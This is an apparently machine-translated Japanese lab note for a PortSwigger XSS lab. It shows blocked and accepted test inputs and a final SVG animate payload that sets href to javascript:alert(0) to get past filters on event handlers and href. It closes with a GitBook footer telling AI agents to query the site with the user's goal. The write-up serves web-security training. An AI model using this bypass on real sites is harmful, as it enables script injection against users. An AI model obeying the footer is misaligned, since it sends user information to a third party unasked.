> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xss/xss-with-blocked-events-and-href-attributes.md).

# ブロックされたイベントとhref属性を伴うXSS

PortSwigger Web Security Academy のラボ向けメモ。ブロックされたイベントとhref属性を伴うXSSに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### イベントハンドラとhref属性がブロックされた反射型XSS

Lab d 操作は、次の語を含むクリック可能な要素を注入しなければなりません **「クリック」** （または同等のもの）を挿入し、トリガーする `alert()` クリック時に。

次の語を含む可視要素を挿入する **クリックする** ユーザーがそれをクリックすると、実行される `alert()` イベントマネージャーと `href`.

```javascript
<script>
```

* 挿入すると `<script>` 次を返します: *タグは許可されていません*.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1316ca1ba67d36888ded2cf56c151a1b2fa1f21e%2Fimage%20(404).png?alt=media" alt=""><figcaption></figcaption></figure>

* その `<a>` タグは受け入れられます（例： `<a>test</a>`),

```javascript
<a>test</a>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91e0aa4a451fd6594f5d219cb35a39e0ecdc711f%2Fimage%20(405).png?alt=media" alt="" width="510"><figcaption></figcaption></figure>

その `href` 属性は拒否されます — `href="JavaScript:..."` はブロックされます。

```javascript
<a href="javascript:alert(0);"クリックしてください</a>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dfe2ceb6f9051dee18a984c1a6331a902a6e97fc%2Fimage%20(406).png?alt=media" alt=""><figcaption></figcaption></figure>

* SVG要素は許可されています（`<svg>` は受け入れられます）。

```javascript
<svg>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5ee9d764293ec3cbc9f953fefb54a7a2d0bbac1a%2Fimage%20(407).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* SVGアニメーション要素（例えば `<animate>`）は存在し、悪用可能なようです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67d7ecc4ff55d20ab9571418bdeae2e164123c29%2Fimage%20(408).png?alt=media" alt=""><figcaption></figcaption></figure>

**試行 —**

* 注入 `<script>` → 拒否されました。
* 使用する `<a href="JavaScript:...">` → 禁止された属性。
* SVG要素とアニメーション要素を組み合わせて、ある値を `href` アンカーに渡し、したがって実行を試みる `JavaScript:alert(0)` クリック時に。

```javascript
<svg><a><animate attributeName=href values=javascript:alert(0) /><text x=30 y=30>クリックしてください！</script></a>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/xss/xss-with-blocked-events-and-href-attributes.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
